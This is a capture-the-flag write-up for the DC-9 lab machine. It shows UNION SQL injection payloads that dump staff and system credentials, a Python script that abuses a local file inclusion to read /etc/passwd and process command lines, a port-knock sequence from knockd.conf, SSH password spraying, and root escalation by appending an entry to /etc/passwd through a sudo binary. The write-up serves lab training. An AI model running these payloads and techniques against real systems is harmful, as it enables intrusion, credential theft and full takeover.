DC-9 Writeup - Proving Grounds
Last updated July 13, 2026 • 5 min read
Discovery
Only port 80 is open. Apache 2.4.38 on Debian serves a staff directory application. No UDP ports respond.
[+] Discovering all open TCP ports... PORT STATE SERVICE 80/tcp open http [+] Running scripts & versions on TCP ports: 80 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Example.com - Staff Details - Welcome
Directory enumeration stays shallow — only /css and /includes show up alongside index.php. Nikto flags /config.php as potentially exposing database credentials and notes directory listing is enabled on /includes. The application itself has a search form at results.php and an add-record form.
css [Status: 301] includes [Status: 301] index.php [Status: 200]
Enumeration
SQL Injection — Staff Search
The search form at results.php is injectable. A basic OR payload confirms blind string injection, and a UNION-based approach works to extract data. The column count is six, with output landing in the first position.
Identify the MariaDB version and current databases first:
Moe' UNION SELECT @@@version,NULL,NULL,NULL,NULL,NULL -- -
ID: 10.3.17-MariaDB-0+deb10u1
Name:
Position:
Phone No:
Email:
Enumerate tables across all schemas — not just the current database:
Moe' UNION SELECT table_schema,table_name,NULL,NULL,NULL,NULL FROM information_schema.tables -- -
ID: Staff
Name: StaffDetails
ID: Staff
Name: Users
ID: users
Name: UserDetails
Two databases: Staff and users. The Staff.Users table holds the web app login. users.UserDetails holds system-level credentials.
Dump Staff.Users:
Moe' UNION SELECT UserID,Username,Password,NULL,NULL,NULL FROM Users -- -
ID: 1
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc
The MD5 hash cracks instantly via CrackStation: $ADMIN_PASSWORD. This gets admin access to the web panel but is not directly useful for a shell since SSH is blocked.
Dump users.UserDetails for all system accounts:
Moe' UNION SELECT username,password,NULL,NULL,NULL,NULL FROM users.UserDetails -- -
ID: marym Name: $MARYM_PASSWORD
ID: julied Name: $JULIED_PASSWORD
ID: fredf Name: $FREDF_PASSWORD
ID: barneyr Name: $BARNEYR_PASSWORD
ID: tomc Name: $TOMC_PASSWORD
ID: jerrym Name: $JERRYM_PASSWORD
ID: wilmaf Name: $WILMAF_PASSWORD
ID: bettyr Name: $BETTYR_PASSWORD
ID: chandlerb Name: $CHANDLERB_PASSWORD
ID: joeyt Name: $JOEYT_PASSWORD
ID: rachelg Name: $RACHELG_PASSWORD
ID: rossg Name: $ROSSG_PASSWORD
ID: monicag Name: $MONICAG_PASSWORD
ID: phoebeb Name: $PHOEBEB_PASSWORD
ID: scoots Name: $SCOOTS_PASSWORD
ID: janitor Name: $JANITOR_PASSWORD
ID: janitor2 Name: $JANITOR2_PASSWORD
Local File Inclusion — Port Knock Discovery
Port 22 is filtered. The admin panel at addrecord.php shows a File does not exist error when the page loads without a parameter. Fuzzing for the parameter name reveals file, which reads arbitrary files from disk.
file [Status: 200, Size: 4110]
Reading /etc/passwd via the LFI confirms 17 home directories with bash shells. SSH is running on port 22 (confirmed via /proc/net/tcp) but something is blocking access. Enumerating running processes through /proc/[pid]/cmdline using a loop script reveals the answer:
import requests
import re
pattern = r"File does not exist<br />(.*?)\s*</div>"
session = requests.Session()
BASE = "http://192.168.222.209/addrecord.php"
COOKIE = {'PHPSESSID': '<session>'}
def lfi_read(path):
r = session.get(f"{BASE}?file={path}", cookies=COOKIE)
match = re.search(pattern, r.text)
if match:
return match.group(1).strip()
return None
for pid in range(1, 10000):
cmdline = lfi_read(f"../../../../../../proc/{pid}/cmdline")
if not cmdline or cmdline.startswith("</"):
continue
cmdline = cmdline.replace("\x00", " ").strip()
print(f"[+] PID {pid}: {cmdline}")
One process stands out: /usr/sbin/knockd -i eth0. Reading /etc/knockd.conf via LFI reveals the port knock sequence to open SSH:
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
Send the knock sequence and verify port 22 opens:
PORT STATE SERVICE 22/tcp open ssh
Initial Access
Spray the credentials from users.UserDetails against SSH. Three accounts get in:
[22][ssh] host: 192.168.222.209 login: chandlerb password: $CHANDLERB_PASSWORD [22][ssh] host: 192.168.222.209 login: joeyt password: $JOEYT_PASSWORD [22][ssh] host: 192.168.222.209 login: janitor password: $JANITOR_PASSWORD
Log in as janitor and look around. A hidden directory .secrets-for-putin in the home folder contains a file with additional plaintext passwords not in the original database dump.
BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
Spray these new passwords against all users. The knock sequence needs to be resent before each Hydra run since the iptables rule is per-source-IP.
[22][ssh] host: 192.168.222.209 login: fredf password: $FREDF_PASSWORD [22][ssh] host: 192.168.222.209 login: joeyt password: $JOEYT_PASSWORD
Privilege Escalation
Log in as fredf and check sudo rights:
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
The binary is a PyInstaller-packaged Python script. Copy it locally, extract with pyinstxtractor, and decompile the bytecode with uncompyle6 to read the source:
import sys
if len(sys.argv) != 3:
print('Usage: python test.py read append')
sys.exit(1)
else:
f = open(sys.argv[1], 'r')
output = f.read()
f = open(sys.argv[2], 'a')
f.write(output)
f.close()
The binary reads a file and appends its contents to a second file — running as root via sudo. This is an arbitrary file append as root. The straightforward escalation is to append a new root-level user to /etc/passwd.
Generate a password hash and craft the passwd entry:
$1$xyz$WoJnHXXscB1sOcMi3CSGl/
Switch to the newly added root account:
Password: root@dc-9:/home/fredf#
Root shell obtained.
References
-
PortSwigger — SQL Injection UNION Attacksportswigger.net/web-security/sql-injection/union-attacks (opens in new tab)
Methodology for determining column count and extracting data via UNION-based SQLi
-
knock — Port Knocking Clientgithub.com/jvinet/knock (opens in new tab)
Port knocking client used to trigger iptables rules via knockd
-
pyinstxtractor — PyInstaller Extractorgithub.com/extremecoders-re/pyinstxtractor (opens in new tab)
Extracts PyInstaller-packaged executables back to .pyc files
-
uncompyle6 — Python Bytecode Decompilergithub.com/rocky/python-uncompyle6 (opens in new tab)
Decompiles Python .pyc bytecode back to readable source
-
knockd — Port-Knock Serverlinux.die.net/man/1/knockd (opens in new tab)
knockd daemon reference — sequence, timeout, and command configuration